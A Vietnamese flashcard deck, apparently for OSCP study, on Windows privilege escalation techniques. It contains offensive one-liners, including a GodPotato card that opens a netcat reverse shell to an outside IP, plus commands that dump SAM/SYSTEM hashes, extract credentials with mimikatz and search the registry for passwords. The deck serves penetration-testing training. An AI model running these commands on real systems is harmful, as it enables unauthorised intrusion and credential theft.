Leo thang đặc quyền Windows

19 cards

Review this deck
All cards in this deck

Enumeration nhanh ban đầu trên Windows

`whoami /priv`, `whoami /groups`, `systeminfo`, `net user`, `net localgroup administrators`, `netstat -ano`, `tasklist /svc`

winPEAS

`winPEASx64.exe` (thêm tham số như `quiet servicesinfo` để lọc); đọc phần service, credential, AlwaysInstallElevated, file thú vị

SeImpersonatePrivilege

thường có ở tài khoản service (IIS, MSSQL); dùng họ Potato để lên SYSTEM

PrintSpoofer

`PrintSpoofer64.exe -i -c cmd`; cần SeImpersonatePrivilege, hoạt động trên Windows 10 và Server 2016/2019

GodPotato

`GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe 192.168.45.5 443 -e cmd.exe"`; dùng khi PrintSpoofer không chạy, hỗ trợ dải phiên bản Windows rộng

Service binary ghi được

`icacls "C:\path\service.exe"` thấy quyền (M) hoặc (F) cho user của mình thì thay bằng payload rồi `sc stop svc` và `sc start svc` (hoặc reboot)

Service sửa được cấu hình

`sc config svc binpath= "C:\Windows\Temp\rev.exe"` rồi restart service; kiểm quyền bằng `accesschk.exe /accepteula -uwcqv user svc`

Unquoted service path

`wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """`; đặt payload ở vị trí bị cắt (ví dụ `C:\Program Files\My.exe`) nếu thư mục ghi được

DLL hijacking

service nạp DLL không tồn tại từ thư mục ghi được (hoặc thư mục trong PATH); tạo DLL bằng `msfvenom -f dll` đúng tên rồi restart service

AlwaysInstallElevated

cả hai key `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` và bản `HKCU` đều bằng 1 thì chạy `msiexec /quiet /qn /i rev.msi`

Scheduled task

`schtasks /query /fo LIST /v`; task chạy bằng SYSTEM hoặc admin mà file thực thi mình ghi được thì thay file và chờ lịch

Credential trong registry

`reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"` (AutoLogon) và `reg query HKLM /f password /t REG_SZ /s`

File unattend

tìm `C:\Windows\Panther\Unattend.xml`, `C:\Windows\Panther\Unattend\Unattend.xml`, `C:\Windows\System32\Sysprep\sysprep.xml`; password thường mã hoá base64

PowerShell history

`type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`; kiểm cho mọi user đọc được

Backup SAM/SYSTEM

tìm trong `C:\Windows\Repair`, `C:\Windows\System32\config\RegBack`, thư mục backup; trích hash bằng `impacket-secretsdump -sam SAM -system SYSTEM LOCAL`

SeBackupPrivilege

`reg save hklm\sam sam` và `reg save hklm\system system` rồi tải về và secretsdump; trên DC có thể sao chép `ntds.dit` qua shadow copy

UAC bypass cơ bản

user thuộc Administrators nhưng shell ở medium integrity (`whoami /groups` thấy Medium Mandatory Level); dùng kỹ thuật như fodhelper để có high integrity

Lấy hash sau khi lên SYSTEM (mimikatz)

`privilege::debug` → `sekurlsa::logonpasswords` → `lsadump::sam`; ghi lại mọi hash và password cleartext để dùng cho máy khác

Thứ tự kiểm tra

`whoami /priv` (token) → credential dễ lấy (history, registry, file) → service và scheduled task → AlwaysInstallElevated → kernel exploit là cuối cùng

Leo thang đặc quyền Windows – Flashcards – OSCP | Học Dev